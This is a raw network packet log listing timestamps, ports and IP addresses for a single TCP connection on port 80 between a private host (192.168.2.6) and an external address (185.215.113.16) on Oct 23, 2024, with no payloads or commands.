Oct 23, 2024 17:51:30.014647007 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014652014 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.014683008 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.014689922 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014700890 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014729023 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.014748096 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014759064 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014791965 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.014797926 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014808893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014837980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014849901 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014851093 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.014862061 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014873981 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014895916 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.014920950 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.014935017 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.014993906 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.015005112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.015031099 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.015055895 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.015078068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.015110970 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.015187025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.015228987 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.015317917 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.015815973 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.015834093 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.015846014 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.015856028 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.015871048 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.015891075 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.016593933 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.016630888 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.016664028 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.016674042 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.016705990 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.016859055 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.016875982 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.016886950 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.016900063 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.016911983 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.016921043 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.016925097 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.016932964 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.016941071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.016946077 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.016966105 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.016988993 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.017003059 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017014027 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017023087 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017046928 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.017066002 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017076969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017096043 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017101049 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.017107010 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017117977 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017129898 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017138004 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.017159939 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.017231941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017242908 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017252922 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017262936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017268896 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.017287016 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.017370939 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017380953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017390966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017401934 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017412901 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.017438889 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.017529011 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017539978 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017549038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017565012 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.017576933 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.017601013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017611980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017620087 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017628908 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017640114 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017642975 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.017653942 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017658949 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.017667055 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.017699957 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.018079042 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.018095970 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.018105984 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.018115044 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.018117905 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.018126965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.018141031 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.018162966 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.021513939 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.057805061 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.057928085 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.058032990 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.058052063 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.058108091 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.058108091 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.066036940 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.066092014 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.066102982 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.066137075 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.066258907 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.066271067 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.066282988 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.066294909 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.066308022 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.066308975 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.066323042 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.066335917 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.066339970 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.066346884 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.066360950 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.066373110 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.066373110 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.066390038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.066400051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.066411972 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.066418886 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.066423893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.066436052 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.066478014 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.068336964 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068414927 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.068542957 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068564892 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068577051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068588972 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068594933 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068605900 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068610907 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.068619967 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068630934 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068649054 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068654060 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.068662882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068672895 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.068675995 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068687916 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068700075 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068710089 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068711042 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.068722963 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068730116 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.068734884 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068744898 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.068770885 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.068770885 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068785906 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068799973 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068809032 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068820953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068825006 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.068845987 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.068846941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068854094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068859100 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068864107 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068871021 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.068881989 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.068908930 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.069164038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069293022 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069303989 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069317102 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069327116 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069339037 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069350958 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069375992 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.069376945 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.069399118 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069402933 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.069413900 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069427013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069437981 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069448948 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069456100 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.069464922 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069473028 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.069478035 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069485903 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.069503069 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069514036 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069525957 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069530010 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.069536924 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069556952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069557905 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.069570065 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069581032 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.069581985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069595098 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069603920 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.069607973 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069622040 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069634914 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069653034 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.069714069 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069719076 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069721937 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069729090 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069730997 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069736004 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069741011 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069751024 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.069755077 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069777012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069787025 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.069807053 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.069823980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069852114 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069863081 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069895983 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.069956064 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069967031 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069978952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.069991112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070019007 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.070019007 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.070425987 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070473909 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.070516109 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070528030 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070547104 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070550919 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.070559978 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070571899 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070581913 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070600033 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.070604086 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070612907 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.070616961 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070630074 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070641041 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070652962 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070657969 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.070667028 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070672989 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.070698023 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.070702076 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070714951 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070727110 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070744991 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070751905 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.070759058 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070771933 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070779085 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.070785046 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070796013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070811033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070818901 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.070818901 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.070818901 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.070831060 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070847034 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070857048 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070868015 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.070871115 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070890903 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.070893049 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070895910 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070926905 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.070950985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070964098 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070976019 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.070982933 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.071006060 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.071037054 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071073055 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071084976 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071119070 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.071156979 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071170092 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071181059 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071206093 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.071218967 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.071252108 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071264029 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071285009 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071296930 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071299076 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.071309090 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071331024 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071341991 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071353912 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.071357012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071362019 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.071397066 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.071430922 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071544886 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071566105 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071585894 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071593046 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.071597099 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071609974 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071616888 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.071620941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071643114 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.071681023 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071692944 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071706057 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071717024 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071727037 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071727037 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.071739912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071753025 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.071759939 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071770906 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.071774006 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.071791887 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.075484037 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.097251892 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.097285986 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.097296953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.097309113 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.097331047 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.097378016 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.130844116 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.130929947 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.130942106 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.130954981 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.130966902 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.130970955 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.131011963 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.131042004 CEST	80	49763	185.215.113.16	192.168.2.6
